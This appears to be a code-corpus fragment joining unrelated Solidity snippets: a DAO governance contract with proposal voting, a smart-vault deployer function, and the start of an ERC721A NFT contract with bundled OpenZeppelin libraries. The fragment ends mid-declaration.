completed; } // The info string is intended for an URL to describe the proposal struct FundProposal { address destination; uint256 amount; string info; } struct MelodyAdditionProposal { address melody; string info; } struct MelodyRemovalProposal { address melody; string info; } struct StakeUpgradeProposal { address newStake; // List of addresses owned by the Stake contract address[] owned; string info; } struct DAOUpgradeProposal { address newDAO; string info; } mapping(uint64 => ProposalMetadata) public proposals; mapping(uint64 => mapping(address => bool)) public used; mapping(uint64 => FundProposal) public _fundProposals; mapping(uint64 => MelodyAdditionProposal) public _melodyAdditionProposals; mapping(uint64 => MelodyRemovalProposal) public _melodyRemovalProposals; mapping(uint64 => StakeUpgradeProposal) public _stakeUpgradeProposals; mapping(uint64 => DAOUpgradeProposal) public _daoUpgradeProposals; // Address of the DAO we upgraded to address _upgrade; // ID to use for the next proposal uint64 _nextProposalID; ISeedStake private _stake; Seed private _SEED; // Check the proposal is valid modifier pendingProposal(uint64 proposal) { require(proposals[proposal].pType != ProposalType.Null); require(!proposals[proposal].completed); // Don't allow old proposals to suddenly be claimed require(proposals[proposal].submitted + 30 days > block.timestamp); _; } // Check this contract hasn't been replaced modifier active() { require(_upgrade == address(0)); _; } constructor(address stake) { _stake = ISeedStake(stake); _SEED = Seed(_stake.seed()); } function upgraded() external view returns (bool) { return _upgrade != address(0); } function upgrade() external view returns (address) { return _upgrade; } function stake() external view returns (address) { return address(_stake); } function _createNewProposal(ProposalType pType) internal active returns (uint64) { // Make sure this isn't spam by transferring the proposal fee require(_SEED.transferFrom(msg.sender, address(this), PROPOSAL_FEE)); // Increment the next proposal ID now // Means we don't have to return a value we subtract one from later _nextProposalID += 1; emit NewProposal(_nextProposalID); // Set up the proposal's metadata ProposalMetadata storage meta = proposals[_nextProposalID]; meta.pType = pType; meta.creator = msg.sender; meta.submitted = block.timestamp; // Automatically vote for the proposal's creator meta.stakers[msg.sender] = true; emit ProposalVoteAdded(_nextProposalID, msg.sender); return _nextProposalID; } function proposeFund(address destination, uint256 amount, string calldata info) external returns (uint64) { uint64 proposalID = _createNewProposal(ProposalType.Fund); _fundProposals[proposalID] = FundProposal(destination, amount, info); emit FundProposed(proposalID, destination, amount); return proposalID; } function proposeMelodyAddition(address melody, string calldata info) external returns (uint64) { uint64 proposalID = _createNewProposal(ProposalType.MelodyAddition); _melodyAdditionProposals[proposalID] = MelodyAdditionProposal(melody, info); emit MelodyAdditionProposed(proposalID, melody); return proposalID; } function proposeMelodyRemoval(address melody, string calldata info) external returns (uint64) { uint64 proposalID = _createNewProposal(ProposalType.MelodyRemoval); _melodyRemovalProposals[proposalID] = MelodyRemovalProposal(melody, info); emit MelodyRemovalProposed(proposalID, melody); return proposalID; } function proposeStakeUpgrade(address newStake, address[] calldata owned, string calldata info) external returns (uint64) { uint64 proposalID = _createNewProposal(ProposalType.StakeUpgrade); // Ensure the SEED token was included as an owned contract for (uint i = 0; i < owned.length; i++) { if (owned[i] == address(_SEED)) { break; } require(i != owned.length - 1); } _stakeUpgradeProposals[proposalID] = StakeUpgradeProposal(newStake, owned, info); emit StakeUpgradeProposed(proposalID, newStake); return proposalID; } function proposeDAOUpgrade(address newDAO, string calldata info) external returns (uint64) { uint64 proposalID = _createNewProposal(ProposalType.DAOUpgrade); _daoUpgradeProposals[proposalID] = DAOUpgradeProposal(newDAO, info); emit DAOUpgradeProposed(proposalID, newDAO); return proposalID; } function addVote(uint64 proposalID) external active pendingProposal(proposalID) { proposals[proposalID].stakers[msg.sender] = true; emit ProposalVoteAdded(proposalID, msg.sender); } function removeVote(uint64 proposalID) external active pendingProposal(proposalID) { proposals[proposalID].stakers[msg.sender] = false; emit ProposalVoteRemoved(proposalID, msg.sender); } // Send the SEED held by this contract to what it upgraded to // Intended to enable a contract like the timelock, if transferred to this // Without this, it'd be trapped here, forever function forwardSEED() public { require(_upgrade != address(0)); require(_SEED.transfer(_upgrade, _SEED.balanceOf(address(this)))); } // Complete a proposal // Takes in a list of stakers so this contract doesn't have to track them all in an array // This would be extremely expensive as a stakers vote weight can drop to 0 // This selective process allows only counting meaningful votes function completeProposal(uint64 proposalID, address[] calldata stakers) external active pendingProposal(proposalID) noReentrancy { ProposalMetadata storage meta = proposals[proposalID]; uint256 requirement; // Only require a majority vote for a funding request/to remove a melody if ((meta.pType == ProposalType.Fund) || (meta.pType == ProposalType.MelodyRemoval)) { requirement = _stake.totalStaked().div(2).add(1); // Require >66% to add a new melody // Adding an insecure or malicious melody will cause the staking pool to be drained } else if (meta.pType == ProposalType.MelodyAddition) { requirement = _stake.totalStaked().div(3).mul(2).add(1); // Require >80% to upgrade the stake/DAO contract // Upgrading to an insecure or malicious contract risks unlimited minting } else if ((meta.pType == ProposalType.StakeUpgrade) || (meta.pType == ProposalType.DAOUpgrade)) { requirement = _stake.totalStaked().div(5).mul(4).add(1); // Panic in case the enum is expanded and not properly handled here } else { require(false); } // Make sure there's enough vote weight behind this proposal uint256 votes = 0; for (uint i = 0; i < stakers.length; i++) { // Don't allow people to vote with flash loans if (_stake.lastClaim(stakers[i]) == block.timestamp) { continue; } require(meta.stakers[stakers[i]]); require(!used[proposalID][stakers[i]]); used[proposalID][stakers[i]] = true; votes = votes.add(_stake.staked(stakers[i])); } require(votes >= requirement); meta.completed = true; emit ProposalPassed(proposalID); if (meta.pType == ProposalType.Fund) { FundProposal memory proposal = _fundProposals[proposalID]; require(_SEED.transfer(proposal.destination, proposal.amount)); } else if (meta.pType == ProposalType.MelodyAddition) { _stake.addMelody(_melodyAdditionProposals[proposalID].melody); } else if (meta.pType == ProposalType.MelodyRemoval) { _stake.removeMelody(_melodyRemovalProposals[proposalID].melody); } else if (meta.pType == ProposalType.StakeUpgrade) { StakeUpgradeProposal memory proposal = _stakeUpgradeProposals[proposalID]; for (uint i = 0; i < proposal.owned.length; i++) { _stake.upgrade(proposal.owned[i], proposal.newStake); } // Register the new staking contract as a melody so it can move the funds over _stake.addMelody(address(proposal.newStake)); _stake = ISeedStake(proposal.newStake); } else if (meta.pType == ProposalType.DAOUpgrade) { _upgrade = _daoUpgradeProposals[proposalID].newDAO; _stake.transferOwnership(_upgrade); forwardSEED(); } else { require(false); } } // Voluntarily withdraw a proposal function withdrawProposal(uint64 proposalID) external active pendingProposal(proposalID) { require(proposals[proposalID].creator == msg.sender); proposals[proposalID].completed = true; emit ProposalRemoved(proposalID); } }
Ensure the SEED token was included as an owned contract
function proposeStakeUpgrade(address newStake, address[] calldata owned, string calldata info) external returns (uint64) { uint64 proposalID = _createNewProposal(ProposalType.StakeUpgrade); for (uint i = 0; i < owned.length; i++) { if (owned[i] == address(_SEED)) { break; } require(i != owned.length - 1); } _stakeUpgradeProposals[proposalID] = StakeUpgradeProposal(newStake, owned, info); emit StakeUpgradeProposed(proposalID, newStake); return proposalID; }
7,332,463
./full_match/1/0xDf7D56E526eD37834be0e4D2C8aecE552f54cFea/sources/contracts/BaseSmartVaultDeployer.sol
Create and setup action Set funder token in Set funder balance limits Set funder max slippage Transfer admin permissions to admin Authorize action to swap, unwrap, and withdraw from Smart Vault
function _setupFunderAction(SmartVault smartVault, FunderActionParams memory params) internal { Funder funder = Funder(params.impl); Deployer.setupBaseAction(funder, params.admin, address(smartVault)); address[] memory executors = Arrays.from(params.admin, params.managers, new address[](0)); Deployer.setupActionExecutors(funder, executors, funder.call.selector); Deployer.setupWithdrawalAction(funder, params.admin, params.withdrawalActionParams); funder.authorize(params.admin, funder.setTokenIn.selector); funder.authorize(address(this), funder.setTokenIn.selector); funder.setTokenIn(params.tokenIn); funder.unauthorize(address(this), funder.setTokenIn.selector); funder.authorize(params.admin, funder.setBalanceLimits.selector); funder.authorize(address(this), funder.setBalanceLimits.selector); funder.setBalanceLimits(params.minBalance, params.maxBalance); funder.unauthorize(address(this), funder.setBalanceLimits.selector); funder.authorize(params.admin, funder.setMaxSlippage.selector); funder.authorize(address(this), funder.setMaxSlippage.selector); funder.setMaxSlippage(params.maxSlippage); funder.unauthorize(address(this), funder.setMaxSlippage.selector); Deployer.transferAdminPermissions(funder, params.admin); smartVault.authorize(address(funder), smartVault.swap.selector); smartVault.authorize(address(funder), smartVault.unwrap.selector); smartVault.authorize(address(funder), smartVault.withdraw.selector); }
17,182,575
/** *Submitted for verification at Etherscan.io on 2022-04-15 */ //-------------DEPENDENCIES--------------------------// // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: SafeMath is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's + operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's - operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's * operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's / operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's % operator. This function uses a revert * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's - operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's / operator. Note: this function uses a * revert opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's % operator. This function uses a revert * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if account is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, isContract will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on isContract to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's transfer: sends amount wei to * recipient, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by transfer, making them unable to receive funds via * transfer. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to recipient, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level call. A * plain call is an unsafe replacement for a function call: use this * function instead. * * If target reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[abi.decode]. * * Requirements: * * - target must be a contract. * - calling target with data must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall], but with * errorMessage as a fallback revert reason when target reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall], * but also transferring value wei to target. * * Requirements: * * - the calling contract must have an ETH balance of at least value. * - the called Solidity function must be payable. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[functionCallWithValue], but * with errorMessage as a fallback revert reason when target reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[functionCall], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[functionCall], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} tokenId token is transferred to this contract via {IERC721-safeTransferFrom} * by operator from from, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with IERC721.onERC721Received.selector. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * interfaceId. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when tokenId token is transferred from from to to. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when owner enables approved to manage the tokenId token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when owner enables or disables (approved) operator to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in owner's account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the tokenId token. * * Requirements: * * - tokenId must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers tokenId token from from to to, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - from cannot be the zero address. * - to cannot be the zero address. * - tokenId token must exist and be owned by from. * - If the caller is not from, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If to refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers tokenId token from from to to. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - from cannot be the zero address. * - to cannot be the zero address. * - tokenId token must be owned by from. * - If the caller is not from, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to to to transfer tokenId token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - tokenId must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for tokenId token. * * Requirements: * * - tokenId must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove operator as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The operator cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the operator is allowed to manage all of the assets of owner. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers tokenId token from from to to. * * Requirements: * * - from cannot be the zero address. * - to cannot be the zero address. * - tokenId token must exist and be owned by from. * - If the caller is not from, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If to refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by owner at a given index of its token list. * Use along with {balanceOf} to enumerate all of owner's tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given index of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for tokenId token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a uint256 to its ASCII string decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a uint256 to its ASCII string hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a uint256 to its ASCII string hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from ReentrancyGuard will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single nonReentrant guard, functions marked as * nonReentrant may not call one another. This can be worked around by making * those functions private, and then adding external nonReentrant entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a nonReentrant function from another nonReentrant * function is not supported. It is possible to prevent this from happening * by making the nonReentrant function external, and making it call a * private function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * onlyOwner, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * onlyOwner functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (newOwner). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (newOwner). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } //-------------END DEPENDENCIES------------------------// /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes the number of issuable tokens (collection size) is capped and fits in a uint128. * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex; uint256 public immutable collectionSize; uint256 public maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // 